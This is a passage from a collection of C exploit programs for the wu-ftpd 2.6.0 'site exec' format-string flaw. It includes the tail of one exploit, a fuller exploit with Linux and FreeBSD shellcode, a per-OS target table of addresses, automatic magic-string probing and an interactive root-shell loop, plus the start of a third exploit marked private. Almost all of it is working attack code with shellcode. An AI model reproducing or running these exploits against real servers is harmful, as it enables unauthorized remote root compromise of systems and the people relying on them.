memcpy(&sin.sin_addr,host->h_addr,host->h_length);
if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
{
perror("Connect error");
exit(-1);
}
printf("\nCONNECTED!\n\n");
sleep(DELAY);
receive();
fputs(torecv,stdout);
ftp_login("ftp",target[main_index].shellcode);
ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset);
retaddr = scan_retaddr(target[main_index].penum2);
store_value(target[main_index].penum,((int)ptrretaddr & 65535),1);
sleep(DELAY);receive();
store_value(target[main_index].penum3,(int)retaddr,2);
printf("\033[32mAdG rox ! :)\033[37m\n");
write(sock,"uname -a;id\n",strlen("uname -a;id\n"));
signal(SIGINT,SIG_IGN);
shell();
}
int max(int x,int y)
{
if (x > y)
return(x);
return(y);
}
void receive(void)
{
bzero(torecv,sizeof(torecv));
if(read(sock,torecv,sizeof(torecv)) == 0)
{
printf("Connection closed by foreign host!\n");
exit(-1);
}
}
void shell(void)
{
fd_set rset;
int nfds,nread;
bzero(torecv,sizeof(torecv));
for (;;)
{
nfds=max(fileno(stdin),sock)+1;
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sock,&rset);
select(nfds,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
bzero(tosend,sizeof(tosend));
fgets(tosend,sizeof(tosend)-2,stdin);
write(sock,tosend,strlen(tosend));
}
if(FD_ISSET(sock,&rset))
{
bzero(torecv,sizeof(torecv));
if((nread=read(sock,torecv,sizeof(torecv))) == 0)
{
printf("\nEOF\n");
exit(0);
}
if (nread < 0)
{
perror("Read error");
exit(-1);
}
fputs(torecv,stdout);
}
}
}
void ftp_login(char *username, char *password)
{
sprintf(tosend,"USER %s\n",username);
printf("\033[32m%s\033[37m",tosend);
write(sock,tosend,strlen(tosend));
sleep(DELAY);
receive();
fputs(torecv,stdout);
sprintf(tosend,"PASS %s\n",password);
printf("\033[32mPASS <shellcode>\033[37m\n");
write(sock,tosend,strlen(tosend));
sleep(DELAY);
receive();
fputs(torecv,stdout);
}
void site_exec(char *string)
{
char buf[1034];
bzero(buf,sizeof(buf));
snprintf(buf,sizeof(buf),"site exec %s\n",string);
write(sock,buf,strlen(buf));
}
char *scan_ptrretaddr(int penum,int offset)
{
int a;
char *buf;
char *ptr, *retvalue;
printf("Scanning remote server's stack:\n");
bzero(tosend,sizeof(tosend));
for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
{
sprintf(buf,"%s","%p:%d");
}
site_exec(tosend);
sleep(DELAY);
receive();
buf = strstr(torecv,":")+1;
ptr =(char*)atoi(buf);
printf("\033[32mScanned PTRPTRRETADDR is \033[31m0x%x\n\033[37m",ptr);
retvalue = ptr - offset*4;
printf("\033[32mCalculated PTRRETADDR is \033[31m0x%x\n\033[37m",retvalue);
return retvalue;
}
char *scan_retaddr(int penum)
{
int a;
char *buf;
char *ptr, *retvalue;
printf("Detecting return address:\n");
bzero(tosend,sizeof(tosend));
for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
{
sprintf(buf,"%s","%p:%d");
}
site_exec(tosend);sleep(DELAY);receive();
buf = strstr(torecv,":")+1;
ptr =(char*)atoi(buf);
printf("\033[32mScanned TEMPADDR is \033[31m0x%x\n\033[37m",ptr);
for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
{
sprintf(buf,"%s","%p:%s");
}
site_exec(tosend);sleep(DELAY);receive();
retvalue = ptr;
buf = strstr(torecv,":")+1;
ptr = strstr(torecv,"/")+1;
retvalue += ptr - buf;
printf("\033[32mCalculated RETADDR is \033[31m0x%x\n\033[37m",retvalue);
return retvalue;
}
void store_value(int penum,int value,int type)
{
int a;
int offset;
char *buf;
char *ptr1, *ptr2;
printf("Storing value 0x%x\n",value);
bzero(tosend,sizeof(tosend));
buf = tosend;
sprintf(buf,"%%.10d"); /* WARNING 10 is a MAGIC NUM! */
for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
{
sprintf(buf,"%s","%p:");
}
site_exec(tosend);
sleep(DELAY);
receive();
ptr1 = strstr(torecv,"-")+1;
ptr2 = strstr(torecv,":");
offset = ptr2 - ptr1;
printf("offset is 0x%x\n",offset);
bzero(tosend,sizeof(tosend));
buf = tosend;
sprintf(buf,"%%.%d\x64",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */
for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
{
if(type == 1) sprintf(buf,"%s","%p%hn");
if(type == 2) sprintf(buf,"%s","%p%n");
}
site_exec(tosend);
}
void usage(char *arg)
{
int i;
printf("Usage: %s <hostname> <systype> [port]\n",arg);
printf(" known systypes: \n");
for(i=0;i < sysnumber;i++)
printf(" %2d - %s\n",i,target[i].sysname);
exit(-1);
}
The following is for the mass amounts of people out there who were
not able to hit the correct retr_addr with the previously
disseminated exploits. The previous problems were caused by the
other exploits not specifying the correct pointer to the shell
code, ultimately leaving you with a telnet session to PORT 21 of
the vulnerable machine. While working with some people over at
MIT, it was discovered that some machines were hit, while others
with the same configuration weren't. This is yet to be understood.
Following as you will notice is TF8's original distribution,
slightly modified. Notice the new AddrRetAddr field. If s0
doesn't work, it is reccomended trying the other OS distributions
in the list.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#ifdef __linux
#include <getopt.h>
#endif
#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"
char infin_loop[]= /* for testing purposes */
"\xEB\xFE";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";
char bsd_code_d[]= /* you should call it directly (no jump/call)*/
"\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
#define MAX_FAILED 4
#define MAX_MAGIC 100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;
struct targets {
int def;
char *os_descr, *shellcode;
int delay;
u_long pass_addr, addr_ret_addr;
int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};
struct targets targ[]={
{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
{0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
{1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
{0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
{0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
{0,NULL,NULL,0,0,0,{0},{0},0}
};
void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target : host with any wuftpd\nuser : anonymous user\n"
"dir : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g : enables magic string digging\n"
"-x : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr : this is pointer to shellcode\nsystypes: \n",zu);
for(i=0;targ[i].os_descr!=NULL;i++){
padding=0;
fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
if(q>1){
fprintf(stderr," Magic ID: [");
for(n=0;targ[i].magic[n]!=0;n++){
if(targ[i].magic_d[n]==4)
padding=targ[i].magic[n];
fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
if(targ[i].magic[n+1]!=0)
fprintf(stderr,":");
}
fprintf(stderr,"] Padding: %d\n",padding);
fflush(stderr);
}
}
exit(1);
}
int connect_to_server(char*host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;
if(host==NULL||*host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(1);
}
if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
if((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
}
memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
exit(1);
}
return sock;
}
int ftp_recv(int sock,char*buf,int buf_size,int disc){
int n=0;
char q;
if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
else {
(void)bzero(buf,buf_size);
n=recv(sock,buf,buf_size,0);
if(n<0){
fprintf(stderr,"ftp_recv: recv failed\n");
exit(1);
}
buf[n]=0;
}
return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
int n;
n=send(sock,what,size,0);
if(n!=size){
fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
shutdown(sock,2);
close(sock);
exit(1);
}
if(f)
return ftp_recv(sock,ans,ans_size,0);
return 0;
}
int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
ftp_send(sock,buff,buff_len,q,ans,ans_len);
if(strncmp(ans,"200-",4)==0)
ftp_recv(sock,NULL,0,1);
else
ftp_recv(sock,ans,ans_len,0);
if(strncmp(ans,"200-",4)){
fprintf(stderr,"Cannot find site exec response string\n");
exit(1);
}
return 0;
}
void ftp_login(int sock,char*u_name,char*u_pass)
{
char buff[2048];
printf("loggin into system..\n");
snprintf(buff,2047,"USER %s\r\n", u_name);
ftp_send(sock, buff,strlen(buff),1,buff,2047);
printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
snprintf(buff,2047,"PASS %s\r\n",u_pass);
printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
while(strstr(buff,"230 ")==NULL){
(void)bzero(buff,2048);
ftp_recv(sock,buff,2048,0);
}
printf("%s",buff);
return;
}
void ftp_mkchdir(int sock,char*cd,char*new)
{
char buff[2048];
sprintf(buff,"CWD %s\r\n",cd);
printf(GREEN"%s"NORM,buff);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf("%s",buff);
sprintf(buff,"MKD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
sprintf(buff,"CWD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
return;
}
void process_possibly_rooted(int sock)
{
fd_set fd_read;
char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
if((n=recv(sock,buff,sizeof(buff),0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sock,buff,n,0)<0) break;
}
usleep(10);
}
fprintf(stderr,"Connection aborted, select failed()\n");
exit(0);
}
int magic_check_f(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
if( before_len+10 < strlen(&ans[3]) ) return 0;
before_len=strlen(&ans[3]);
(void)strcat(str,"%.f");
return 1;
}
int magic_check_o(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
if( before_len== strlen(&ans[3]) ) {
before_len+=1;
(void)strcat(str, "%d");
return 3;
}
before_len=strlen(&ans[3]);
(void)strcat(str,"%c");
return 2;
}
int magic_check_ok( int sock, char *str)
{
char q[2048], ans[2048];
int i ,n=1, f, padding=0;
snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
if ( strstr(q, "\r\n" ) == NULL) {
fprintf(stderr, "Line too long\n");
exit(-1);
}
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if(strstr(ans,"0x61616161")==NULL)
return 0;
for(i =0; i < MAX_MAGIC && magic[i]; i++);
magic_d[i]=4;
while(n){
for(f=0; f< 2; f++) {
snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if( strstr(ans, "0x61616161")!=NULL) {
if (f==0) {
magic[i]=padding;
return 1;
} else if( f==1) {
strcat(str,"%p");
magic[i]=padding;
return 1;
}
}
}
if(padding > 4) {
fprintf(stderr,"Cannot calculate padding..\n");
exit(1);
}
padding++;
}
return 1;
}
int magic_digger(int sock)
{
int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
if(magic_str==NULL){
if((magic_str=(char*)malloc(4092))==NULL){
perror("malloc");
exit(errno);
}
}
(void)bzero(magic_str, 4092);
where=0;
while(get_out) {
int q;
if( where >= MAX_MAGIC-1 || all_failed <= 0 )
return -1;
if( magic_check_f(sock, magic_str) ) {
o=0,f++;
if(f==1){
if(!magic[where])
magic[where]=1;
else
magic[++where]+=1;
magic_d[where]=1;
} else
magic[where]+=1;
all_failed=MAX_FAILED*2;
printf("%s", "%.f"); fflush(stdout);
goto verify;
}
all_failed--;
if((q=magic_check_o(sock,magic_str))){
f=0,o++;
if(o==1){
if(!magic[where])
magic[0]=1;
else
magic[++where]+=1;
magic_d[where]=q;
} else {
if(magic_d[where]==q)
magic[where]+=1;
else {
magic[++where]=1;
magic_d[where]=q;
}
}
all_failed=MAX_FAILED*2;
printf("%s", q==2?"%c":"%d");
fflush(stdout);
goto verify;
}
all_failed--;
continue;
verify:
if(magic_check_ok(sock,magic_str)){
putchar('\n');
return 0;
}
}
return 0;
}
int main(int argc, char *argv[]){
char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
u_long ret_addr=0, pass_addr=0;
for(i=0;targ[i].os_descr!=NULL;i++);
while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
switch(c) {
case 't': target=optarg;break;
case 'l':
username=optarg;
passwd=strchr(optarg,'/');
if(passwd==NULL)
usage(argv[0],0);
*passwd++=(char)0;
break;
case 'x': testmode=1; break;
case 'o': offset=atoi(optarg);break;
case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
case 'g': gm=1; break;
case 'M': dir=optarg;mtype=1;break;
case 'm':
{
int where=0;
if(!*optarg) {
fprintf(stderr,"-m requires argument, try -h for help\n");
exit(1);
}
while(1) {
magic[where]=strtoul(optarg,&optarg,16);
optarg=strchr(optarg,',');
if(optarg==NULL){
printf("comma missing\n");
exit(1);
}
optarg++;
magic_d[where++]=strtoul(optarg,&optarg,16);
if(strchr(optarg,':')==NULL){
magic[where]=magic_d[where]=0;
break;
}
optarg=strchr(optarg,':');
optarg++;
}
}
break;
case 's':
num=atoi(optarg);
if(num>i) {
fprintf(stderr,"systype too big, try -h for help\n");
exit(1);
}
break;
case 'r':
ret_addr=strtoul(optarg,&optarg,16);
break;
case 'P':
padding=atoi(optarg);
break;
case 'H':
bla=2;
default: usage(argv[0],bla);break;
}
}
if(target==NULL){
fprintf(stderr,"No target specified, try -h for help\n");
exit(1);
}
if(num==-1||num==-2) {
for(i=0;!targ[i].def;i++);
num=i;
}
(void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
if(magic[1]!=0) {
memcpy((void*)getit.magic,magic,sizeof(magic));
memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
}
if(ret_addr)getit.addr_ret_addr=ret_addr;
if(pass_addr)getit.pass_addr=pass_addr;
getit.addr_ret_addr+=(offset*4);
sock=connect_to_server(target);
memset(shellcode, '\x90', sizeof(shellcode));
shellcode[sizeof(shellcode)-1]=(char)0;
if(!mtype){
memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
shellcode[sizeof(shellcode)-1]=(char)0;
}else{
memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
shellcode[250-1]=(char)0;
}
printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
buff=(char *)malloc(1024);
bzero(buff,1024);
(void)ftp_recv(sock,NULL,0,1);
(void)ftp_login(sock,username,passwd);
if(gm||(magic_str==NULL&&getit.magic[0]==0)){
printf("STEP 2A: Generating magic string: ");
fflush(stdout);
magic_digger(sock);
memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
printf("STEP 2B: MAGIC STRING: [");
} else {
printf("STEP 2 : Skipping, magic number already exists: [");
}
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
if(getit.magic[i+1]!=0)
putchar(':');
}
printf("]\n");
buff=(char *)realloc(buff, 4092);
(void)bzero(buff, 4092);
if(mtype)
ftp_mkchdir(sock,dir,shellcode);
printf("STEP 3 : Checking if we can reach our return address by format string\n");
if(!magic_str){
magic_str=(char*)malloc(2048);
if(magic_str==NULL) {
perror("malloc");
exit(errno);
}
(void)bzero(magic_str,2048);
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
switch(getit.magic_d[i]) {
case 1:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
break;
case 2:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
break;
case 3:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
break;
case 4:if(padding<0)padding=getit.magic[i];break;
default:fprintf(stderr,"STEP 3: INternal error\n");
exit(1);
break;
}
}
}
if(padding<0){
for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
if(num<(MAX_MAGIC-1))
padding=getit.magic[num];
else
fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
}
if(!getit.islinux){
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
} else {
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
}
sleep(getit.delay);
fflush(stdout);
if((buff_p=(char *)malloc(4096))==NULL){
fprintf(stderr,"malloc failed.\n");
exit(1);
}
(void)bzero(buff_p,4096);
ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
if((buff_p2=strchr(buff_p,'\r'))!=NULL)
*buff_p2=(char)0;
if((buff_p2=strchr(buff_p,'\n'))!=NULL)
*buff_p2=(char)0;
buff_p2=strstr(buff_p,"|0x");
if(buff_p2==NULL){
fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
exit(1);
}
buff_p2+=3;
if(!testmode)
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
else
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
sleep(getit.delay);
buff_p2=strstr(buff, "%.f");
*buff_p2++=(char )0;
strcpy(buff_p, buff);
if(!testmode)
sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
else
sprintf(buff_p+strlen(buff_p),"%s","%d%d");
strcpy(buff_p+strlen(buff_p), buff_p2);
buff_p2=strchr(buff_p,'|');
buff_p2++;
printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
if(!testmode){
strcpy(buff_p2,"%n\r\n");
ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
} else {
(void)bzero(buff,4096);
strcpy(buff_p2,"%s\r\n");
ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
printf("got answer: %s\n",buff);
exit(0);
}
free(buff_p);
free(buff);
signal(SIGINT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
printf(RED"Press ^\\ to leave shell"NORM"\n");
process_possibly_rooted(sock);
return 0;
}
Yet another code:
/*
* (c) 2000 venglin / b0f
* http://b0f.freebsd.lublin.pl
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000)
*
* Idea and preliminary version of exploit by tf8
*
* Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
* Dedicated to ksm.
*
* **PRIVATE**DO*NOT*DISTRIBUTE**
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#define repln if (getreply(0) < 0) return -1
#define replv if (getreply(1) < 0) return -1
#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif
char usage[] = "usage: bobek [-l login] [-o port] [-t type] hostname";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
"\x6e";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
"\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
"\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
"\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
"\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
"\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
